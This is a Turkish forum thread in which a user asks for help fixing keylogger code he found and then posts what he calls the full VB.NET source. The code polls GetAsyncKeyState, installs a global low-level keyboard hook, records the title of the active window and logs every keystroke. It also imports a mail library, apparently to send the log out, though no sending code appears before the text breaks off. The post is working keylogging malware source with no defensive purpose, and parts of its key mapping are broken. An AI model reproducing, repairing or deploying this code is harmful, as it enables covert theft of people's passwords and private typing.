kod ile ilgli acilll

H

HHB

Yeni üye
25 Haz 2013
44
0
Konya
Arkadaşlar Ben Kodu Buldum Yapıyodum tam
ama bi hata verdi çok şey denedim olmadı bide siz söyleyin nasıl düzeltebilirim hatayı

Kod: 
Private [COLOR="Red"];Buraya Ne Gelir;[/COLOR] function Get AsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
 
Tarihe göre sırala Oylara göre sırala
H

HHB

Yeni üye
25 Haz 2013
44
0
Konya
Full Kodunu Veriyorum

Imports System.Web
Imports System.IO
Imports System.Net.Mail
<Microsoft.VisualBasic.ComClass()> <System.Runtime.InteropServices.ComVisible(False)> <System.Serializable()> Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer

Dim typein As String

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Me.Click

For logger = 1 To 255
typein = GetAsyncKeyState(logger)
If typein = -32767 Then
Select Case logger
Case 1
RichTextBox1.Text += ""
Case 2
RichTextBox1.Text += ""
Case 3
RichTextBox1.Text += "[ACHTUNG!!!]"
Case 4
RichTextBox1.Text += "[ACHTUNG!!!4]"
Case 5
RichTextBox1.Text += "[ACHTUNG!!!5]"
Case 6
RichTextBox1.Text += "[ACHTUNG!!6!]"
Case 7
RichTextBox1.Text += "[ACHTUNG!!!7]"
Case 8
RichTextBox1.Text += "[BackSpace]"
Case 9
RichTextBox1.Text += "[Tab]"
Case 10
RichTextBox1.Text += "[ACHTUNG!!!10]"
Case 11
RichTextBox1.Text += "[ACHTUNG!!!11]"
Case 12
RichTextBox1.Text += "[ACHTUNG!!!12]"
Case 13
RichTextBox1.Text += "[Enter]"
Case 112
RichTextBox1.Text += "[F1]"
Case 113
RichTextBox1.Text += "[F2]"
Case 114
RichTextBox1.Text += "[F3]"
Case 115
RichTextBox1.Text += "[F4]"
Case 116
RichTextBox1.Text += "[F5]"
Case 117
RichTextBox1.Text += "[F6]"
Case 118
RichTextBox1.Text += "[F7]"
Case 119
RichTextBox1.Text += "[F8]"
Case 120
RichTextBox1.Text += "[F9]"
Case 121
RichTextBox1.Text += "[F10]"
Case 122
RichTextBox1.Text += "[F11]"
Case 123
RichTextBox1.Text += "[F12]"

Case 160
RichTextBox1.Text += ""
Case 161
RichTextBox1.Text += ""

Case 164
RichTextBox1.Text += ""
Case 165
RichTextBox1.Text += "[Alt]"
Case 189
RichTextBox1.Text += "-"
Case 187
RichTextBox1.Text += "+"



Case 46
RichTextBox1.Text += "."
Case 14
RichTextBox1.Text += "[ACHTUNG 14]"
Case 15
RichTextBox1.Text += "[ACHTUNG 15]"
Case 16
RichTextBox1.Text += "[Shift]"
Case 17
RichTextBox1.Text += "[Cr]"
Case 18
RichTextBox1.Text += "[Alt]"
Case 19
RichTextBox1.Text += "[ACHTUNG 19]"
Case 20
RichTextBox1.Text += "[Capslock]"
Case 21
RichTextBox1.Text += "[ACHTUNG 21]"
Case 22
RichTextBox1.Text += "[ACHTUNG 22]"
Case 23
RichTextBox1.Text += "[ACHTUNG 23]"
Case 24
RichTextBox1.Text += "[ACHTUNG 24]"
Case 25
RichTextBox1.Text += "[ACHTUNG 25]"
Case 26
RichTextBox1.Text += "[ACHTUNG 26]"
Case 27
RichTextBox1.Text += "[Esc]"
Case 28
RichTextBox1.Text += "[ACHTUNG 28]"
Case 29
RichTextBox1.Text += "[ACHTUNG 29]"
Case 30
RichTextBox1.Text += "[ACHTUNG 30]"
Case 31
RichTextBox1.Text += "[ACHTUNG 31]"
Case 32
RichTextBox1.Text += " "
Case 33
RichTextBox1.Text += "[PageUp]"
Case 34
RichTextBox1.Text += "[PageDown]"
Case 35
RichTextBox1.Text += "[End]"
Case 36
RichTextBox1.Text += "[Home]"
Case 37
RichTextBox1.Text += "%"
Case 38
RichTextBox1.Text += "&"
Case 39
RichTextBox1.Text += "'"
Case 40
RichTextBox1.Text += "("
Case 41
RichTextBox1.Text += ")"
Case 42
RichTextBox1.Text += "*"
Case 43
RichTextBox1.Text += "+"
Case 44
RichTextBox1.Text += ","
Case 45
RichTextBox1.Text += "[INS]"
Case 46
RichTextBox1.Text += "."
Case 47
RichTextBox1.Text += "/"
Case 48
RichTextBox1.Text += "0"
Case 49
RichTextBox1.Text += "1"
Case 50
RichTextBox1.Text += "2"
Case 51
RichTextBox1.Text += "3"
Case 52
RichTextBox1.Text += "4"
Case 53
RichTextBox1.Text += "5"
Case 54
RichTextBox1.Text += "6"
Case 55
RichTextBox1.Text += "7"
Case 56
RichTextBox1.Text += "8"
Case 57
RichTextBox1.Text += "9"
Case 58
RichTextBox1.Text += ":"
Case 59
RichTextBox1.Text += ";"
Case 60
RichTextBox1.Text += "<"
Case 61
RichTextBox1.Text += "="
Case 62
RichTextBox1.Text += ">"
Case 63
RichTextBox1.Text += "?"
Case 64
RichTextBox1.Text += "@"
Case 65
RichTextBox1.Text += "a"
Case 66
RichTextBox1.Text += "b"
Case 67
RichTextBox1.Text += "c"
Case 68
RichTextBox1.Text += "d"
Case 69
RichTextBox1.Text += "e"
Case 70
RichTextBox1.Text += "f"
Case 71
RichTextBox1.Text += "g"
Case 72
RichTextBox1.Text += "h"
Case 73
RichTextBox1.Text += "i"
Case 74
RichTextBox1.Text += "j"
Case 75
RichTextBox1.Text += "k"
Case 76
RichTextBox1.Text += "l"
Case 77
RichTextBox1.Text += "m"
Case 78
RichTextBox1.Text += "n"
Case 79
RichTextBox1.Text += "o"
Case 80
RichTextBox1.Text += "p"
Case 81
RichTextBox1.Text += "q"
Case 82
RichTextBox1.Text += "r"
Case 83
RichTextBox1.Text += "s"
Case 84
RichTextBox1.Text += "t"
Case 85
RichTextBox1.Text += "u"
Case 86
RichTextBox1.Text += "v"
Case 87
RichTextBox1.Text += "w"
Case 88
RichTextBox1.Text += "x"
Case 89
RichTextBox1.Text += "y"
Case 90
RichTextBox1.Text += "z"
Case 91
RichTextBox1.Text += "[Win]"
Case 92
RichTextBox1.Text += "[Win]"
Case 93
RichTextBox1.Text += "]"
Case 94
RichTextBox1.Text += "^"
Case 95
RichTextBox1.Text += "_"
Case 96
RichTextBox1.Text += "[num0]"
Case 97
RichTextBox1.Text += "[num1]"
Case 98
RichTextBox1.Text += "[num2]"
Case 99
RichTextBox1.Text += "[num3]"
Case 100
RichTextBox1.Text += "[num4]"
Case 101
RichTextBox1.Text += "[num5]"
Case 102
RichTextBox1.Text += "[num6]"
Case 103
RichTextBox1.Text += "[num7]"
Case 104
RichTextBox1.Text += "[num8]"
Case 105
RichTextBox1.Text += "[num9]"
Case 106
RichTextBox1.Text += "*"
Case 107
RichTextBox1.Text += "+"
Case 108
RichTextBox1.Text += "l"
Case 109
RichTextBox1.Text += "-"
Case 110
RichTextBox1.Text += "[,]"
Case 111
RichTextBox1.Text += "/"
Case 112
RichTextBox1.Text += "p"
Case 113
RichTextBox1.Text += "q"
Case 114
RichTextBox1.Text += "r"
Case 115
RichTextBox1.Text += "s"
Case 116
RichTextBox1.Text += "t"
Case 117
RichTextBox1.Text += "u"
Case 118
RichTextBox1.Text += "v"
Case 119
RichTextBox1.Text += "w"
Case 120
RichTextBox1.Text += "x"
Case 121
RichTextBox1.Text += "y"
Case 122
RichTextBox1.Text += "z"
Case 123
RichTextBox1.Text += "{"
Case 124
RichTextBox1.Text += "|"
Case 125
RichTextBox1.Text += "}"
Case 126
RichTextBox1.Text += "~"
Case 127
RichTextBox1.Text += "[ACHTUNG 127]"
Case 128
RichTextBox1.Text += "€"
Case 129
RichTextBox1.Text += "[ACHTUNG 129]"
Case 130
RichTextBox1.Text += "‚"
Case 131
RichTextBox1.Text += "ƒ"
Case 132
RichTextBox1.Text += "„"
Case 133
RichTextBox1.Text += "…"
Case 134
RichTextBox1.Text += "†"
Case 135
RichTextBox1.Text += "‡"
Case 136
RichTextBox1.Text += "ˆ"
Case 137
RichTextBox1.Text += "[ACHTUNG 137]"
Case 138
RichTextBox1.Text += "Š"
Case 139
RichTextBox1.Text += "‹"
Case 140
RichTextBox1.Text += "[ACHTUNG 140]"
Case 141
RichTextBox1.Text += "[ACHTUNG 141]"
Case 142
RichTextBox1.Text += "Z"
Case 143
RichTextBox1.Text += "[ACHTUNG 143]"
Case 144
RichTextBox1.Text += "[Num-Lock]"
Case 145
RichTextBox1.Text += "‘"
Case 146
RichTextBox1.Text += "’"
Case 147
RichTextBox1.Text += """"
Case 148
RichTextBox1.Text += """"
Case 149
RichTextBox1.Text += "•"
Case 150
RichTextBox1.Text += "–"
Case 151
RichTextBox1.Text += "—"
Case 152
RichTextBox1.Text += "˜"
Case 153
RichTextBox1.Text += "™"
Case 154
RichTextBox1.Text += "š"
Case 155
RichTextBox1.Text += "›"
Case 156
RichTextBox1.Text += "[ACHTUNG 155]"
Case 157
RichTextBox1.Text += "[ACHTUNG 157]"
Case 158
RichTextBox1.Text += "z"
Case 159
RichTextBox1.Text += "Ÿ"
Case 160
RichTextBox1.Text += "[ACHTUNG 160]"
Case 161
RichTextBox1.Text += "¡"
Case 162
RichTextBox1.Text += ""
Case 163
RichTextBox1.Text += ""
Case 164
RichTextBox1.Text += "¤"
Case 165
RichTextBox1.Text += "¥"
Case 166
RichTextBox1.Text += "¦"
Case 167
RichTextBox1.Text += "§"
Case 168
RichTextBox1.Text += "¨"
Case 169
RichTextBox1.Text += "©"
Case 170
RichTextBox1.Text += "ª"
Case 171
RichTextBox1.Text += "«"
Case 172
RichTextBox1.Text += "¬"
Case 173
RichTextBox1.Text += "[ACHTUNG 173]"
Case 174
RichTextBox1.Text += "®"
Case 175
RichTextBox1.Text += "¯"
Case 176
RichTextBox1.Text += "°"
Case 177
RichTextBox1.Text += "±"
Case 178
RichTextBox1.Text += "²"
Case 179
RichTextBox1.Text += "³"
Case 180
RichTextBox1.Text += "´"
Case 181
RichTextBox1.Text += "µ"
Case 182
RichTextBox1.Text += "[ACHTUNG 182]"
Case 183
RichTextBox1.Text += ""
Case 184
RichTextBox1.Text += ""
Case 185
RichTextBox1.Text += "¹"
Case 186
RichTextBox1.Text += "ş"
Case 187
RichTextBox1.Text += "»"
Case 188
RichTextBox1.Text += ""
Case 189
RichTextBox1.Text += ":"
Case 190
RichTextBox1.Text += ""
Case 191
RichTextBox1.Text += "ö"
Case 192
RichTextBox1.Text += """"
Case 193
RichTextBox1.Text += "Á"
Case 194
RichTextBox1.Text += "Â"
Case 195
RichTextBox1.Text += "Ã"
Case 196
RichTextBox1.Text += "Ä"
Case 197
RichTextBox1.Text += "Æ"
Case 198
RichTextBox1.Text += "Ç"
Case 199
RichTextBox1.Text += "È"
Case 200
RichTextBox1.Text += "É"
Case 201
RichTextBox1.Text += "Ê"
Case 202
RichTextBox1.Text += "Ë"
Case 203
RichTextBox1.Text += "Ì"
Case 204
RichTextBox1.Text += "Í"
Case 205
RichTextBox1.Text += "Í"
Case 206
RichTextBox1.Text += "Î"
Case 207
RichTextBox1.Text += "Ï"
Case 208
RichTextBox1.Text += "Ğ"
Case 209
RichTextBox1.Text += "Ñ"
Case 210
RichTextBox1.Text += "Ò"
Case 211
RichTextBox1.Text += "Ó"
Case 212
RichTextBox1.Text += "Ô"
Case 213
RichTextBox1.Text += "Õ"
Case 214
RichTextBox1.Text += "Ö"
Case 215
RichTextBox1.Text += "×"
Case 216
RichTextBox1.Text += "Ø"
Case 217
RichTextBox1.Text += "Ù"
Case 218
RichTextBox1.Text += "Ú"
Case 219
RichTextBox1.Text += "ğ"
Case 220
RichTextBox1.Text += "ç"
Case 221
RichTextBox1.Text += "ü"
Case 222
RichTextBox1.Text += "i"
Case 223
RichTextBox1.Text += "*"
Case 224
RichTextBox1.Text += "à"
Case 225
RichTextBox1.Text += "á"
Case 226
RichTextBox1.Text += "â"
Case 227
RichTextBox1.Text += "<"
Case 228
RichTextBox1.Text += "ä"
Case 229
RichTextBox1.Text += "æ"
Case 230
RichTextBox1.Text += "ç"
Case 231
RichTextBox1.Text += "è"
Case 232
RichTextBox1.Text += "é"
Case 233
RichTextBox1.Text += "ê"
Case 234
RichTextBox1.Text += "ë"
Case 235
RichTextBox1.Text += "ì"
Case 236
RichTextBox1.Text += "í"
Case 237
RichTextBox1.Text += "í"
Case 238
RichTextBox1.Text += "î"
Case 239
RichTextBox1.Text += "ï"
Case 240
RichTextBox1.Text += "ğ"
Case 241
RichTextBox1.Text += "ñ"
Case 242
RichTextBox1.Text += "ò"
Case 243
RichTextBox1.Text += "ó"
Case 244
RichTextBox1.Text += "ô"
Case 245
RichTextBox1.Text += "õ"
Case 246
RichTextBox1.Text += "ö"
Case 247
RichTextBox1.Text += "÷"
Case 248
RichTextBox1.Text += "ø"
Case 249
RichTextBox1.Text += "ù"
Case 250
RichTextBox1.Text += "ú"
Case 251
RichTextBox1.Text += "û"
Case 252
RichTextBox1.Text += "ü"
Case 253
RichTextBox1.Text += "ı"
Case 254
RichTextBox1.Text += "ş"
Case 255
RichTextBox1.Text += "ÿ"

Case Else
RichTextBox1.Text += Chr(logger).ToString
End Select
End If
Next
If strin <> GetActiveWindowTitle() Then
RichTextBox1.Text = RichTextBox1.Text + vbNewLine & "[------" & GetActiveWindowTitle() & "------]" + vbNewLine
strin = GetActiveWindowTitle()
End If
End Sub
Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105

Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure

Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer

Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer

Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer


Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer


Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)

Private Shared KeyHook As Integer

Private Shared KeyHookDelegate As KeyboardProcDelegate

Public Sub New()

KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub

Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

If (nCode = HC_ACTION) Then
Select Case wParam

Case WM_KEYDOWN, WM_SYSKEYDOWN

RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP

RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If

Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()

UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
End Class
Private WithEvents kbHook As New KeyboardHook
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.A Then
RichTextBox1.Text = RichTextBox1.Text & "a"
ElseIf Key = Keys.B Then
RichTextBox1.Text = RichTextBox1.Text & "b"
ElseIf Key = Keys.C Then
RichTextBox1.Text = RichTextBox1.Text & "c"
ElseIf Key = Keys.D Then
RichTextBox1.Text = RichTextBox1.Text & "d"
ElseIf Key = Keys.E Then
RichTextBox1.Text = RichTextBox1.Text & "e"
ElseIf Key = Keys.F Then
RichTextBox1.Text = RichTextBox1.Text & "f"
ElseIf Key = Keys.G Then
RichTextBox1.Text = RichTextBox1.Text & "g"
ElseIf Key = Keys.H Then
RichTextBox1.Text = RichTextBox1.Text & "h"
ElseIf Key = Keys.I Then
RichTextBox1.Text = RichTextBox1.Text & "i"
ElseIf Key = Keys.J Then
RichTextBox1.Text = RichTextBox1.Text & "j"
ElseIf Key = Keys.K Then
RichTextBox1.Text = RichTextBox1.Text & "k"
ElseIf Key = Keys.L Then
RichTextBox1.Text = RichTextBox1.Text & "l"
ElseIf Key = Keys.M Then
RichTextBox1.Text = RichTextBox1.Text & "m"
ElseIf Key = Keys.N Then
RichTextBox1.Text = RichTextBox1.Text & "n"
ElseIf Key = Keys.O Then
RichTextBox1.Text = RichTextBox1.Text & "o"
ElseIf Key = Keys.P Then
RichTextBox1.Text = RichTextBox1.Text & "p"
ElseIf Key = Keys.Q Then
RichTextBox1.Text = RichTextBox1.Text & "q"
ElseIf Key = Keys.R Then
RichTextBox1.Text = RichTextBox1.Text & "r"
ElseIf Key = Keys.S Then
RichTextBox1.Text = RichTextBox1.Text & "s"
ElseIf Key = Keys.T Then
RichTextBox1.Text = RichTextBox1.Text & "t"
ElseIf Key = Keys.U Then
RichTextBox1.Text = RichTextBox1.Text & "u"
ElseIf Key = Keys.V Then
RichTextBox1.Text = RichTextBox1.Text & "v"
ElseIf Key = Keys.W Then
RichTextBox1.Text = RichTextBox1.Text & "w"
ElseIf Key = Keys.X Then
RichTextBox1.Text = RichTextBox1.Text & "x"
ElseIf Key = Keys.Y Then
RichTextBox1.Text = RichTextBox1.Text & "y"
ElseIf Key = Keys.Z Then
RichTextBox1.Text = RichTextBox1.Text & "z"
ElseIf Key = Keys.D0 Then
RichTextBox1.Text = RichTextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
RichTextBox1.Text = RichTextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
RichTextBox1.Text = RichTextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
RichTextBox1.Text = RichTextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
RichTextBox1.Text = RichTextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
RichTextBox1.Text = RichTextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
RichTextBox1.Text = RichTextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
RichTextBox1.Text = RichTextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
RichTextBox1.Text = RichTextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
RichTextBox1.Text = RichTextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
RichTextBox1.Text = RichTextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
RichTextBox1.Text = RichTextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
RichTextBox1.Text = RichTextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
RichTextBox1.Text = RichTextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
RichTextBox1.Text = RichTextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
RichTextBox1.Text = RichTextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
RichTextBox1.Text = RichTextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
RichTextBox1.Text = RichTextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
RichTextBox1.Text = RichTextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
RichTextBox1.Text = RichTextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
RichTextBox1.Text = RichTextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
RichTextBox1.Text = RichTextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
RichTextBox1.Text = RichTextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
RichTextBox1.Text = RichTextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
RichTextBox1.Text = RichTextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
RichTextBox1.Text = RichTextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
RichTextBox1.Text = RichTextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
RichTextBox1.Text = RichTextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
RichTextBox1.Text = RichTextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
RichTextBox1.Text = RichTextBox1.Text & "`"
ElseIf Key = Keys.Space Then
RichTextBox1.Text = RichTextBox1.Text & " "
ElseIf Key = Keys.Enter Then
RichTextBox1.Text = RichTextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
RichTextBox1.Text = RichTextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
RichTextBox1.Text = RichTextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
RichTextBox1.Text = RichTextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
RichTextBox1.Text = RichTextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
RichTextBox1.Text = RichTextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
RichTextBox1.Text = RichTextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
RichTextBox1.Text = RichTextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
RichTextBox1.Text = RichTextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
RichTextBox1.Text = RichTextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
RichTextBox1.Text = RichTextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
RichTextBox1.Text = RichTextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
RichTextBox1.Text = RichTextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
RichTextBox1.Text = RichTextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
RichTextBox1.Text = RichTextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Up Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Left Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Right Then
RichTextBox1.Text = RichTextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
RichTextBox1.Text = RichTextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
RichTextBox1.Text = RichTextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
RichTextBox1.Text = RichTextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
RichTextBox1.Text = RichTextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
RichTextBox1.Text = RichTextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
RichTextBox1.Text = RichTextBox1.Text & "-"
ElseIf Key = Keys.Add Then
RichTextBox1.Text = RichTextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
RichTextBox1.Text = RichTextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.A Then
RichTextBox1.Text = RichTextBox1.Text & "A"
ElseIf Key = Keys.B Then
RichTextBox1.Text = RichTextBox1.Text & "B"
ElseIf Key = Keys.C Then
RichTextBox1.Text = RichTextBox1.Text & "C"
ElseIf Key = Keys.D Then
RichTextBox1.Text = RichTextBox1.Text & "D"
ElseIf Key = Keys.E Then
RichTextBox1.Text = RichTextBox1.Text & "E"
ElseIf Key = Keys.F Then
RichTextBox1.Text = RichTextBox1.Text & "F"
ElseIf Key = Keys.G Then
RichTextBox1.Text = RichTextBox1.Text & "G"
ElseIf Key = Keys.H Then
RichTextBox1.Text = RichTextBox1.Text & "H"
ElseIf Key = Keys.I Then
RichTextBox1.Text = RichTextBox1.Text & "I"
ElseIf Key = Keys.J Then
RichTextBox1.Text = RichTextBox1.Text & "J"
ElseIf Key = Keys.K Then
RichTextBox1.Text = RichTextBox1.Text & "K"
ElseIf Key = Keys.L Then
RichTextBox1.Text = RichTextBox1.Text & "L"
ElseIf Key = Keys.M Then
RichTextBox1.Text = RichTextBox1.Text & "M"
ElseIf Key = Keys.N Then
RichTextBox1.Text = RichTextBox1.Text & "N"
ElseIf Key = Keys.O Then
RichTextBox1.Text = RichTextBox1.Text & "O"
ElseIf Key = Keys.P Then
RichTextBox1.Text = RichTextBox1.Text & "P"
ElseIf Key = Keys.Q Then
RichTextBox1.Text = RichTextBox1.Text & "Q"
ElseIf Key = Keys.R Then
RichTextBox1.Text = RichTextBox1.Text & "R"
ElseIf Key = Keys.S Then
RichTextBox1.Text = RichTextBox1.Text & "S"
ElseIf Key = Keys.T Then
RichTextBox1.Text = RichTextBox1.Text & "T"
ElseIf Key = Keys.U Then
RichTextBox1.Text = RichTextBox1.Text & "U"
ElseIf Key = Keys.V Then
RichTextBox1.Text = RichTextBox1.Text & "V"
ElseIf Key = Keys.W Then
RichTextBox1.Text = RichTextBox1.Text & "W"
ElseIf Key = Keys.X Then
RichTextBox1.Text = RichTextBox1.Text & "X"
ElseIf Key = Keys.Y Then
RichTextBox1.Text = RichTextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
RichTextBox1.Text = RichTextBox1.Text & "Z"
ElseIf Key = Keys.D0 Then
RichTextBox1.Text = RichTextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
RichTextBox1.Text = RichTextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
RichTextBox1.Text = RichTextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
RichTextBox1.Text = RichTextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
RichTextBox1.Text = RichTextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
RichTextBox1.Text = RichTextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
RichTextBox1.Text = RichTextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
RichTextBox1.Text = RichTextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
RichTextBox1.Text = RichTextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
RichTextBox1.Text = RichTextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
RichTextBox1.Text = RichTextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
RichTextBox1.Text = RichTextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
RichTextBox1.Text = RichTextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
RichTextBox1.Text = RichTextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
RichTextBox1.Text = RichTextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
RichTextBox1.Text = RichTextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
RichTextBox1.Text = RichTextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
RichTextBox1.Text = RichTextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
RichTextBox1.Text = RichTextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
RichTextBox1.Text = RichTextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
RichTextBox1.Text = RichTextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
RichTextBox1.Text = RichTextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
RichTextBox1.Text = RichTextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
RichTextBox1.Text = RichTextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
RichTextBox1.Text = RichTextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
RichTextBox1.Text = RichTextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
RichTextBox1.Text = RichTextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
RichTextBox1.Text = RichTextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
RichTextBox1.Text = RichTextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
RichTextBox1.Text = RichTextBox1.Text & "`"
ElseIf Key = Keys.Space Then
RichTextBox1.Text = RichTextBox1.Text & " "
ElseIf Key = Keys.Enter Then
RichTextBox1.Text = RichTextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
RichTextBox1.Text = RichTextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
RichTextBox1.Text = RichTextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
RichTextBox1.Text = RichTextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
RichTextBox1.Text = RichTextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
RichTextBox1.Text = RichTextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
RichTextBox1.Text = RichTextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
RichTextBox1.Text = RichTextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
RichTextBox1.Text = RichTextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
RichTextBox1.Text = RichTextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
RichTextBox1.Text = RichTextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
